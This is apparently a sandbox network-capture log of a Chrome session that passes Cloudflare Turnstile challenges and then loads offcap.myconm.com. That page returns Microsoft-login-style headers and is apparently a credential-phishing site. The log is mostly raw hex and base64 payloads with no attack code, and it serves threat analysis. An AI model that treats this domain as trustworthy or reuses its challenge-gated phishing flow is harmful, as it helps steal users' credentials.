jwa/a5qnAo73MyrjbyMir49PfxMXL0LT73dnbu9ra3NTQ0vQCx9LT6dbZDsbPxAHL3t/O5OnxG/Tr/erX3/4XEP3z3ufnCfgOKAsMJ+8cASQLEicI9gM5Nx3wGAoPGxwvFfxHGRUXJwwqGENPEikMJjUzIUQxMRRMPEgtLjQ5HWRGQkQkQx0iai48Jmc7TFBBRUAucjhHa1k0TEhibFpfgGBkQFFpZo2IbmyEkGtthZCQdWRRcGd4aW1oVmB5WV
2024-12-09 17:42:32 UTC	1369	IN	Data Raw: 32 62 75 72 6f 4f 33 44 72 72 2f 67 37 61 75 2b 39 4c 61 32 77 75 6a 36 78 62 44 73 38 74 36 30 38 64 54 4f 76 4c 32 2b 76 37 77 4a 41 72 2f 41 2f 75 2f 50 78 41 4c 63 33 63 67 46 46 73 2f 51 38 74 72 5a 36 77 30 65 34 64 67 68 34 2b 2f 63 4a 64 37 6c 34 50 50 30 43 2b 41 75 2b 2f 44 6b 49 65 76 2b 37 43 59 4d 39 2b 77 72 48 50 73 48 4c 54 37 39 2b 42 73 36 42 50 77 31 51 67 63 59 4f 55 34 4d 42 54 34 68 47 67 6b 72 52 78 38 4a 52 55 73 33 45 54 4e 65 48 68 56 4f 4c 42 67 5a 50 43 30 75 47 56 64 49 4b 53 46 70 5a 69 51 68 58 53 63 6b 4f 32 46 72 50 6b 52 6c 65 6a 41 74 61 58 49 39 4e 58 31 37 53 7a 56 78 50 47 4d 39 64 58 74 55 51 58 6c 49 56 6b 46 2b 5a 45 35 62 67 33 52 55 58 32 39 58 57 6b 31 53 6e 6c 31 56 6a 56 68 2f 57 5a 47 6d 59 6c 6c 65 6f 33 4a Data Ascii: 2buroO3Drr/g7au+9La2wuj6xbDs8t608dTOvL2+v7wJAr/A/u/PxALc3cgFFs/Q8trZ6w0e4dgh4+/cJd7l4PP0C+Au+/DkIev+7CYM9+wrHPsHLT79+Bs6BPw1QgcYOU4MBT4hGgkrRx8JRUs3ETNeHhVOLBgZPC0uGVdIKSFpZiQhXSckO2FrPkRlejAtaXI9NX17SzVxPGM9dXtUQXlIVkF+ZE5bg3RUX29XWk1Snl1VjVh/WZGmYlleo3J
2024-12-09 17:42:32 UTC	1369	IN	Data Raw: 74 50 42 74 4f 6e 43 35 74 58 30 32 38 6d 38 38 63 72 75 33 62 76 4c 2b 4d 7a 69 38 51 62 6f 79 4e 62 71 39 75 72 41 44 2b 45 48 36 64 7a 68 7a 2b 4d 46 45 74 6a 6d 45 41 66 63 36 76 34 4c 2f 74 54 5a 48 77 44 7a 42 52 76 33 41 53 76 35 35 2f 73 50 2f 41 6b 64 41 69 41 32 41 76 45 43 4c 79 55 71 2f 44 30 4c 4c 78 37 37 44 44 6b 6c 49 7a 49 32 4b 67 49 59 4b 79 6b 63 4f 68 6b 75 43 52 78 46 54 79 39 42 56 7a 59 56 4a 30 73 36 58 79 68 56 4d 54 39 4e 55 6b 5a 6c 4e 45 63 31 4f 46 55 31 53 6d 77 34 59 57 74 4c 58 7a 31 53 56 30 4e 71 57 6e 52 63 55 33 42 79 53 48 46 37 57 32 31 4e 59 6f 42 6f 58 33 78 2b 56 33 74 71 69 48 42 6e 69 49 5a 63 68 59 39 76 67 58 46 32 6c 48 78 7a 6c 4a 4a 72 6a 33 36 63 68 48 75 67 6d 6e 43 5a 6f 34 4f 56 6d 34 71 6f 6b 49 65 73 Data Ascii: tPBtOnC5tX028m88cru3bvL+Mzi8QboyNbq9urAD+EH6dzhz+MFEtjmEAfc6v4L/tTZHwDzBRv3ASv55/sP/AkdAiA2AvECLyUq/D0LLx77DDklIzI2KgIYKykcOhkuCRxFTy9BVzYVJ0s6XyhVMT9NUkZlNEc1OFU1Smw4YWtLXz1SV0NqWnRcU3BySHF7W21NYoBoX3x+V3tqiHBniIZchY9vgXF2lHxzlJJrj36chHugmnCZo4OVm4qokIes

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.17	49785	104.18.95.41	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 17:42:34 UTC	598	OUT	GET /cdn-cgi/challenge-platform/h/g/flow/ov1/229150693:1733764372:1Vm_HqExEuCYrHrKbLx421CcUDMOvlx4T7bCqGuy2i4/8ef6ca8f8eb542b2/r3GJ4_A152EC8qp39ln_Z9EC_KemNmwazh6UB0lpyxE-1733766141-1.1.1.1-nQxGVFeYLVUC.NVgYp4gG1F7O_IhbWZmZV82zspKiHyXomE6Mct38w1.jXhk_pFw HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-09 17:42:34 UTC	379	IN	HTTP/1.1 404 Not Found Date: Mon, 09 Dec 2024 17:42:34 GMT Content-Type: application/json Content-Length: 7 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 cf-chl-out: dB33gsAJyDb3nd1EWfA3Kd7KPF0YDTdYjcg=$lYmOfnEV6DOan0mN Server: cloudflare CF-RAY: 8ef6cae2e84a728a-EWR alt-svc: h3=":443"; ma=86400
2024-12-09 17:42:34 UTC	7	IN	Data Raw: 69 6e 76 61 6c 69 64 Data Ascii: invalid

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.17	49786	104.18.94.41	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 17:42:36 UTC	1171	OUT	POST /cdn-cgi/challenge-platform/h/g/flow/ov1/229150693:1733764372:1Vm_HqExEuCYrHrKbLx421CcUDMOvlx4T7bCqGuy2i4/8ef6ca8f8eb542b2/r3GJ4_A152EC8qp39ln_Z9EC_KemNmwazh6UB0lpyxE-1733766141-1.1.1.1-nQxGVFeYLVUC.NVgYp4gG1F7O_IhbWZmZV82zspKiHyXomE6Mct38w1.jXhk_pFw HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 34505 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-type: application/x-www-form-urlencoded CF-Chl-RetryAttempt: 0 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 CF-Challenge: r3GJ4_A152EC8qp39ln_Z9EC_KemNmwazh6UB0lpyxE-1733766141-1.1.1.1-nQxGVFeYLVUC.NVgYp4gG1F7O_IhbWZmZV82zspKiHyXomE6Mct38w1.jXhk_pFw sec-ch-ua-platform: "Windows" Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/xb30u/0x4AAAAAAAz81HM6AHANCtc4/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-09 17:42:36 UTC	16384	OUT	Data Raw: 76 5f 38 65 66 36 63 61 38 66 38 65 62 35 34 32 62 32 3d 43 6b 76 41 62 4e 55 64 56 4e 56 4d 6b 33 64 63 52 4f 33 35 41 2d 44 33 4c 37 6a 49 4a 25 32 62 63 33 49 33 75 39 4a 2b 36 55 6d 37 2b 76 41 58 4a 56 55 4d 6a 33 75 61 33 38 78 76 79 52 33 2d 33 31 4f 41 41 33 70 41 31 4d 6b 74 61 33 2b 4d 33 41 41 79 61 4b 2b 33 75 41 36 55 54 33 72 6b 33 43 43 33 79 63 56 33 2d 41 33 4d 33 43 62 66 46 33 47 67 41 55 46 58 46 33 7a 4d 55 31 33 31 63 33 73 33 53 31 55 57 76 33 54 49 33 33 54 61 6a 55 39 33 30 54 30 33 55 63 68 66 41 61 55 76 71 71 64 66 56 6c 71 61 7a 61 6c 42 4e 2d 67 6a 75 79 30 61 70 4e 68 2b 79 68 6e 57 71 56 68 4e 33 4e 2b 6a 68 76 75 47 33 55 67 7a 73 33 4f 4c 4c 4a 6d 58 6a 52 33 67 48 7a 47 76 4f 78 7a 50 34 73 66 59 68 72 55 49 63 78 6f 41 Data Ascii: v_8ef6ca8f8eb542b2=CkvAbNUdVNVMk3dcRO35A-D3L7jIJ%2bc3I3u9J+6Um7+vAXJVUMj3ua38xvyR3-31OAA3pA1Mkta3+M3AAyaK+3uA6UT3rk3CC3ycV3-A3M3CbfF3GgAUFXF3zMU131c3s3S1UWv3TI33TajU930T03UchfAaUvqqdfVlqazalBN-gjuy0apNh+yhnWqVhN3N+jhvuG3Ugzs3OLLJmXjR3gHzGvOxzP4sfYhrUIcxoA
2024-12-09 17:42:36 UTC	16384	OUT	Data Raw: 75 33 5a 41 58 33 47 24 39 33 31 4a 31 36 33 46 41 49 33 58 6b 54 6d 4e 56 71 61 33 79 24 2d 24 6c 33 55 54 6a 4c 33 61 6a 55 36 33 6a 6a 61 4a 55 53 41 68 4b 79 4a 33 75 48 76 41 31 32 55 2d 33 68 41 38 65 41 62 33 4e 55 6a 55 71 72 33 30 59 33 36 55 30 33 73 41 4e 52 55 71 33 4d 6c 55 36 55 6d 33 49 6a 61 61 55 7a 33 37 6a 55 5a 33 56 33 4e 4f 38 33 55 37 33 4e 4a 2b 48 55 54 33 43 41 33 33 33 50 43 6a 38 56 55 79 33 38 33 38 78 55 68 65 66 53 31 56 38 58 6a 30 35 68 6b 33 68 33 4d 33 61 79 33 59 33 43 33 79 48 33 7a 33 73 36 4e 61 55 75 33 6f 63 55 7a 33 34 62 79 41 31 45 33 4a 33 43 33 61 79 33 4b 6b 58 4a 79 6a 71 53 41 7a 64 61 36 33 4f 33 38 6a 38 33 33 4b 6b 42 6a 61 48 55 45 41 7a 5a 61 63 33 54 41 61 41 38 45 55 39 33 45 41 55 72 33 63 33 31 52 Data Ascii: u3ZAX3G$931J163FAI3XkTmNVqa3y$-$l3UTjL3ajU63jjaJUSAhKyJ3uHvA12U-3hA8eAb3NUjUqr30Y36U03sANRUq3MlU6Um3IjaaUz37jUZ3V3NO83U73NJ+HUT3CA333PCj8VUy3838xUhefS1V8Xj05hk3h3M3ay3Y3C3yH3z3s6NaUu3ocUz34byA1E3J3C3ay3KkXJyjqSAzda63O38j833KkBjaHUEAzZac3TAaA8EU93EAUr3c31R
2024-12-09 17:42:36 UTC	1737	OUT	Data Raw: 72 67 41 31 33 4f 69 43 2d 44 79 33 2b 6a 46 4d 55 51 64 78 54 4a 2d 30 74 66 34 51 31 56 38 79 33 68 41 31 45 72 7a 33 61 6b 33 5a 33 7a 32 54 6e 30 64 55 78 4b 31 5a 55 71 69 32 48 41 59 45 58 55 73 41 64 47 31 39 33 37 4d 4b 41 35 36 44 32 2d 36 4a 51 49 2b 63 6a 43 62 54 6b 55 58 44 32 72 34 63 55 74 79 75 61 59 34 55 72 32 31 68 79 70 31 37 2d 4b 24 6c 61 6b 6f 33 2b 36 31 58 33 75 6b 4e 63 56 67 49 6a 75 6b 6f 74 30 4f 55 41 34 4b 57 57 4f 52 55 24 74 48 56 55 50 33 73 54 53 44 44 2d 6a 66 52 50 55 74 6b 75 6b 4f 62 4d 43 6a 5a 63 24 55 71 55 75 4f 70 4b 6b 68 33 59 33 72 63 38 6b 55 47 68 78 44 44 66 42 79 33 30 41 2b 71 33 62 33 51 41 61 48 4e 4a 33 6a 34 2d 4c 55 50 7a 24 6b 50 30 51 52 41 7a 6b 79 76 55 4e 53 53 6b 38 64 68 4e 4a 4d 4a 52 64 33 Data Ascii: rgA13OiC-Dy3+jFMUQdxTJ-0tf4Q1V8y3hA1Erz3ak3Z3z2Tn0dUxK1ZUqi2HAYEXUsAdG1937MKA56D2-6JQI+cjCbTkUXD2r4cUtyuaY4Ur21hyp17-K$lako3+61X3ukNcVgIjukot0OUA4KWWORU$tHVUP3sTSDD-jfRPUtkukObMCjZc$UqUuOpKkh3Y3rc8kUGhxDDfBy30A+q3b3QAaHNJ3j4-LUPz$kP0QRAzkyvUNSSk8dhNJMJRd3
2024-12-09 17:42:37 UTC	286	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 17:42:37 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4576 Connection: close cf-chl-out: Czeqw+iumAu9sII7u5sR73oBh3fW8U5j/zDt38tOzK3v1tkzlX05BzlnoJNO7VW/ChrfUiPrC5QOLv7XP9Mhn4xFN9yqgdHU3LKE6YHbVSkkt5lBA91INEI=$ITo3Z24kcMzm7c7Z
2024-12-09 17:42:37 UTC	1275	IN	Data Raw: 63 66 2d 63 68 6c 2d 6f 75 74 2d 73 3a 20 64 68 62 4c 55 4a 6e 4d 4a 68 50 61 77 79 52 49 6e 77 75 38 72 44 6e 6a 2f 7a 69 38 75 79 52 68 75 68 54 70 42 6c 6f 73 70 4e 43 44 77 50 36 47 71 2b 6c 4f 51 38 71 65 69 67 6e 4d 47 6e 4e 4b 65 36 64 45 73 72 5a 56 2b 36 75 43 41 42 75 62 78 48 77 72 5a 35 5a 54 5a 5a 66 68 51 64 58 35 74 53 6b 78 31 50 48 55 30 52 38 2b 78 6f 54 7a 79 56 4c 2f 66 36 4e 55 5a 72 68 56 5a 35 71 74 58 66 48 73 2b 6b 68 6b 70 4c 61 78 66 4c 50 54 4d 68 56 58 68 6c 50 52 78 59 4b 30 72 4b 4b 71 44 2f 36 4d 66 77 64 53 51 54 42 63 30 41 4d 42 33 2b 75 77 4a 50 56 35 47 78 6b 59 48 76 6e 6e 50 6c 51 47 4f 77 7a 52 76 34 6e 6d 33 4d 4e 47 4e 45 5a 72 79 52 56 67 70 55 78 59 52 47 56 70 76 4c 4e 5a 61 31 59 4c 36 50 63 57 76 53 79 75 49 Data Ascii: cf-chl-out-s: dhbLUJnMJhPawyRInwu8rDnj/zi8uyRhuhTpBlospNCDwP6Gq+lOQ8qeignMGnNKe6dEsrZV+6uCABubxHwrZ5ZTZZfhQdX5tSkx1PHU0R8+xoTzyVL/f6NUZrhVZ5qtXfHs+khkpLaxfLPTMhVXhlPRxYK0rKKqD/6MfwdSQTBc0AMB3+uwJPV5GxkYHvnnPlQGOwzRv4nm3MNGNEZryRVgpUxYRGVpvLNZa1YL6PcWvSyuI
2024-12-09 17:42:37 UTC	1177	IN	Data Raw: 6a 34 53 34 72 70 4b 4e 6d 58 53 5a 65 35 47 46 70 4a 71 42 75 35 57 6f 6e 62 69 5a 71 63 66 4a 73 63 36 39 74 5a 4b 72 77 71 33 59 73 4e 4b 6d 33 73 71 67 34 38 4c 6a 30 4c 43 64 77 37 57 6a 6f 63 65 35 36 4d 50 48 71 4f 33 45 76 75 57 31 34 36 37 68 36 50 66 70 30 4d 6a 39 2b 72 37 52 30 65 33 62 78 76 66 30 76 2f 6e 46 43 4d 50 35 7a 51 76 67 2f 74 38 4f 78 38 33 51 30 2b 2f 73 44 52 54 33 37 2f 37 5a 44 50 58 38 37 64 77 56 39 51 45 6c 44 43 7a 39 4b 77 45 66 42 2f 7a 70 37 44 44 72 4e 66 51 6e 46 77 55 51 47 79 67 4f 44 42 6b 53 4d 77 38 64 4f 43 41 53 52 78 59 56 43 68 77 45 42 52 6f 77 47 69 67 4b 55 6b 68 4f 55 78 63 52 56 45 38 62 4b 56 78 4a 47 53 38 32 54 32 4a 50 57 53 5a 6b 57 44 78 45 4b 55 59 74 4b 45 4e 72 59 30 70 41 5a 6d 5a 72 53 30 64 Data Ascii: j4S4rpKNmXSZe5GFpJqBu5WonbiZqcfJsc69tZKrwq3YsNKm3sqg48Lj0LCdw7Wjoce56MPHqO3EvuW1467h6Pfp0Mj9+r7R0e3bxvf0v/nFCMP5zQvg/t8Ox83Q0+/sDRT37/7ZDPX87dwV9QElDCz9KwEfB/zp7DDrNfQnFwUQGygODBkSMw8dOCASRxYVChwEBRowGigKUkhOUxcRVE8bKVxJGS82T2JPWSZkWDxEKUYtKENrY0pAZmZrS0d
2024-12-09 17:42:37 UTC	1369	IN	Data Raw: 69 4d 52 36 78 49 4f 47 43 63 61 4e 52 73 5a 42 6a 4d 48 4e 41 45 36 48 41 38 34 50 78 45 6c 45 6a 49 68 4a 42 34 57 4a 6c 46 49 50 69 74 49 4c 69 73 34 52 7a 55 57 50 46 45 6d 50 30 67 73 4c 6a 64 41 48 55 45 2b 4d 6a 52 6a 52 30 6c 4b 57 30 56 47 58 7a 6f 38 54 43 74 6f 54 6b 46 56 65 47 74 6d 57 46 31 49 56 33 35 41 57 57 4d 37 56 6e 64 76 56 55 56 34 5a 59 70 65 62 47 36 52 6b 48 74 7a 63 6d 4a 4e 64 34 78 52 68 6d 5a 6c 66 6d 35 34 62 4b 43 67 66 58 2b 58 66 59 5a 67 61 58 71 42 5a 47 79 41 69 47 64 77 66 4a 43 53 71 49 6d 66 72 48 47 47 70 72 43 77 71 36 6d 4f 6c 58 2b 4f 74 37 2b 46 70 61 43 46 78 4b 6d 36 6a 59 69 77 72 71 36 6a 71 73 58 55 78 37 62 4c 78 4b 4f 37 7a 72 62 48 75 4f 47 64 31 4d 50 43 75 63 54 41 32 75 43 38 31 72 6a 62 71 73 36 35 Data Ascii: iMR6xIOGCcaNRsZBjMHNAE6HA84PxElEjIhJB4WJlFIPitILis4RzUWPFEmP0gsLjdAHUE+MjRjR0lKW0VGXzo8TCtoTkFVeGtmWF1IV35AWWM7VndvVUV4ZYpebG6RkHtzcmJNd4xRhmZlfm54bKCgfX+XfYZgaXqBZGyAiGdwfJCSqImfrHGGprCwq6mOlX+Ot7+FpaCFxKm6jYiwrq6jqsXUx7bLxKO7zrbHuOGd1MPCucTA2uC81rjbqs65
2024-12-09 17:42:37 UTC	1369	IN	Data Raw: 41 75 47 78 4d 53 50 44 62 39 50 44 49 56 48 55 58 38 49 54 38 43 4b 54 49 4a 42 44 30 45 52 69 38 4a 4a 54 41 70 52 7a 52 55 53 43 64 4a 56 68 68 50 47 42 30 79 55 55 35 4f 4c 46 51 2f 4f 32 63 6b 61 6b 42 71 4e 57 52 44 59 55 46 6b 52 47 52 6b 56 55 63 7a 51 57 70 58 61 6e 51 35 5a 31 36 41 63 6d 31 6a 57 6e 31 79 66 48 53 4b 58 59 46 38 69 58 71 45 68 49 6c 39 69 4a 42 4e 67 59 79 46 67 32 75 61 66 46 74 56 66 31 70 31 6b 6f 79 43 59 58 57 6f 65 57 64 38 65 33 31 38 5a 57 61 72 71 49 43 79 66 62 5a 2f 67 49 32 45 68 49 57 52 72 49 65 41 74 48 6d 35 73 61 47 57 77 62 6d 6c 6f 70 53 6f 6d 63 32 74 76 35 32 65 6e 36 7a 54 6f 4a 48 50 6b 36 72 4f 73 72 44 4b 6d 72 65 34 7a 36 43 37 30 74 79 6d 30 39 7a 63 78 74 36 71 35 4b 69 39 77 71 54 70 73 61 2b 77 37 Data Ascii: AuGxMSPDb9PDIVHUX8IT8CKTIJBD0ERi8JJTApRzRUSCdJVhhPGB0yUU5OLFQ/O2ckakBqNWRDYUFkRGRkVUczQWpXanQ5Z16Acm1jWn1yfHSKXYF8iXqEhIl9iJBNgYyFg2uafFtVf1p1koyCYXWoeWd8e318ZWarqICyfbZ/gI2EhIWRrIeAtHm5saGWwbmlopSomc2tv52en6zToJHPk6rOsrDKmre4z6C70tym09zcxt6q5Ki9wqTpsa+w7
2024-12-09 17:42:37 UTC	661	IN	Data Raw: 31 4b 42 77 66 41 68 72 39 42 55 56 45 2b 67 6b 43 49 41 64 4f 43 30 74 47 4d 68 4e 41 55 6b 31 57 56 46 59 73 56 78 6b 34 4c 78 5a 64 4f 30 78 69 47 6b 51 67 59 31 55 38 51 57 73 72 50 47 46 77 52 57 49 70 61 6b 6c 6d 54 48 59 71 63 6c 59 79 55 48 59 35 50 47 78 51 56 58 6d 42 63 6f 5a 44 58 46 69 43 67 55 74 73 52 35 42 36 65 6c 31 50 66 48 35 69 54 70 4a 4c 57 56 6d 49 63 48 35 62 69 6e 69 63 59 33 71 69 63 36 65 56 6b 6e 78 6b 66 36 71 6d 72 36 69 4d 66 47 2b 67 6f 58 52 32 70 48 4f 46 63 35 47 70 73 6e 65 41 76 61 78 2f 77 4d 56 34 67 72 54 47 6d 58 32 67 67 34 61 50 70 4e 4c 49 79 6f 62 4b 76 34 37 45 77 72 44 63 73 4a 62 54 33 4c 58 57 76 39 2f 51 6e 37 47 66 34 38 54 6e 36 2b 62 45 34 4b 76 71 72 75 48 70 37 75 37 44 72 2f 58 54 39 66 7a 33 37 66 Data Ascii: 1KBwfAhr9BUVE+gkCIAdOC0tGMhNAUk1WVFYsVxk4LxZdO0xiGkQgY1U8QWsrPGFwRWIpaklmTHYqclYyUHY5PGxQVXmBcoZDXFiCgUtsR5B6el1PfH5iTpJLWVmIcH5binicY3qic6eVknxkf6qmr6iMfG+goXR2pHOFc5GpsneAvax/wMV4grTGmX2gg4aPpNLIyobKv47EwrDcsJbT3LXWv9/Qn7Gf48Tn6+bE4KvqruHp7u7Dr/XT9fz37f

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.17	49788	104.18.95.41	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 17:42:38 UTC	598	OUT	GET /cdn-cgi/challenge-platform/h/g/flow/ov1/229150693:1733764372:1Vm_HqExEuCYrHrKbLx421CcUDMOvlx4T7bCqGuy2i4/8ef6ca8f8eb542b2/r3GJ4_A152EC8qp39ln_Z9EC_KemNmwazh6UB0lpyxE-1733766141-1.1.1.1-nQxGVFeYLVUC.NVgYp4gG1F7O_IhbWZmZV82zspKiHyXomE6Mct38w1.jXhk_pFw HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-09 17:42:38 UTC	379	IN	HTTP/1.1 404 Not Found Date: Mon, 09 Dec 2024 17:42:38 GMT Content-Type: application/json Content-Length: 7 Connection: close cf-chl-out: nPUT5jfpLO2FT4bAsHVvNCV6C7IMvZPjIho=$fycq7bW7qNSWDNTl cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Server: cloudflare CF-RAY: 8ef6cafc6e36423a-EWR alt-svc: h3=":443"; ma=86400
2024-12-09 17:42:38 UTC	7	IN	Data Raw: 69 6e 76 61 6c 69 64 Data Ascii: invalid

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.17	49787	164.92.188.247	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 17:42:38 UTC	846	OUT	POST /? HTTP/1.1 Host: offcap.myconm.com Connection: keep-alive Content-Length: 6052 Cache-Control: max-age=0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 Origin: https://offcap.myconm.com Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: https://offcap.myconm.com/?qe=3RVg Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-09 17:42:38 UTC	6052	OUT	Data Raw: 63 66 2d 74 75 72 6e 73 74 69 6c 65 2d 72 65 73 70 6f 6e 73 65 3d 30 2e 64 37 47 5a 44 46 77 71 4a 4a 38 62 72 73 41 46 36 4a 65 76 4e 36 36 50 69 49 74 44 57 74 34 39 6e 38 47 44 54 36 51 46 58 4a 54 4b 66 62 48 5f 38 62 32 41 61 5a 57 74 30 5f 68 63 5a 34 5a 54 30 33 47 62 48 59 4c 65 33 37 4c 6e 78 52 44 6b 44 32 62 57 37 39 30 6e 57 55 6d 47 53 59 4f 78 4d 65 48 5a 4f 2d 5a 65 53 46 72 35 33 75 34 6e 4c 76 37 55 70 36 66 4d 66 32 2d 2d 30 51 6f 6e 2d 5f 4f 46 54 77 47 42 4a 41 5a 59 71 6f 69 6a 32 5f 76 68 61 6a 4e 63 78 41 47 58 6a 4d 39 53 37 4b 35 54 43 77 47 61 55 4e 6d 53 51 4f 57 42 79 32 48 53 64 61 35 36 31 6e 43 35 6b 32 44 73 37 41 73 62 77 5f 79 66 57 54 59 46 33 54 58 46 79 6c 48 58 6c 54 64 5a 7a 43 35 36 5f 39 71 74 46 4e 5a 67 73 68 73 Data Ascii: cf-turnstile-response=0.d7GZDFwqJJ8brsAF6JevN66PiItDWt49n8GDT6QFXJTKfbH_8b2AaZWt0_hcZ4ZT03GbHYLe37LnxRDkD2bW790nWUmGSYOxMeHZO-ZeSFr53u4nLv7Up6fMf2--0Qon-_OFTwGBJAZYqoij2_vhajNcxAGXjM9S7K5TCwGaUNmSQOWBy2HSda561nC5k2Ds7Asbw_yfWTYF3TXFylHXlTdZzC56_9qtFNZgshs
2024-12-09 17:42:39 UTC	390	IN	HTTP/1.1 302 Found Server: nginx Date: Mon, 09 Dec 2024 17:42:39 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close location: https://offcap.myconm.com/?qe=3RVg set-cookie: EAK7TQ="MGU1OTFhMjctOGVhNC00M2MxLThhYTQtNGZkYjY0Y2ZhMDdhOmY3M2Y4ODg1LThlYWItNDIzYi04MWYxLTM4NTgyNmU3MzYzOA=="; Domain=myconm.com; HttpOnly; Path=/; SameSite=None; Secure
2024-12-09 17:42:39 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.17	49789	164.92.188.247	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 17:42:39 UTC	865	OUT	GET /?qe=3RVg HTTP/1.1 Host: offcap.myconm.com Connection: keep-alive Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://offcap.myconm.com/?qe=3RVg Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: EAK7TQ="MGU1OTFhMjctOGVhNC00M2MxLThhYTQtNGZkYjY0Y2ZhMDdhOmY3M2Y4ODg1LThlYWItNDIzYi04MWYxLTM4NTgyNmU3MzYzOA=="
2024-12-09 17:42:40 UTC	776	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 09 Dec 2024 17:42:40 GMT Content-Type: text/html; charset=utf-8 Content-Length: 57498 Connection: close cache-control: no-store, no-cache pragma: no-cache vary: Accept-Encoding p3p: CP="DSP CUR OTPi IND OTRi ONL FIN" x-ms-request-id: 42a2f706-b0ce-47f8-a17d-3e948dd91500 x-ms-ests-server: 2.1.19492.3 - SEC ProdSlices report-to: {"group":"network-errors","max_age":86400,"endpoints":[{"url":"https://d31a483e-0e591a27.myconm.com/api/report?catId=GW+estsfd+dub2"}]} nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0} x-ms-srs: 1.P referrer-policy: strict-origin-when-cross-origin content-encoding: gzip access-control-allow-origin: * access-control-allow-headers: *
2024-12-09 17:42:40 UTC	15608	IN	Data Raw: 1f 8b 08 00 00 00 00 00 00 03 bc bd 7b 5f e2 c8 b6 30 fc ff 7c 0a e5 cc 4f c8 36 22 77 04 3b e3 56 01 5b db 2b 01 6d 65 d8 3e 21 29 24 0a 04 93 80 48 b7 df fd 5d 6b 55 55 2e 08 3d 73 f6 de e7 9d 73 76 9b 54 ea b2 6a d5 aa 75 af e2 cb 66 ed ea b8 75 7f 5d df 18 f8 a3 e1 1f bf 7d e1 7f 36 be 0c 98 61 c1 df 8d 2f be ed 0f 19 3e 6d 34 99 65 bb cc f4 ed f1 13 7e d8 0d be 7c 19 31 df d8 30 9d b1 cf c6 be 96 f0 d9 dc df c5 7e f6 37 cc 81 e1 7a cc d7 a6 7e 7f 67 2f 01 63 f8 93 1d f6 3a b5 67 5a e2 98 57 df 69 bd 4f 58 62 77 45 37 a7 75 8d 59 4f 2c de ea fb 4e fb 70 e7 d8 19 4d 0c df ee 0d 57 37 7c b3 2d 7f a0 59 6c 66 9b 6c 87 5e d4 0d 7b 6c fb b6 31 dc f1 4c 63 c8 b4 6c 3a a3 6e 8c 8c b9 3d 9a 8e 44 51 0e 8b a6 1e 73 e9 dd 80 be b5 77 e6 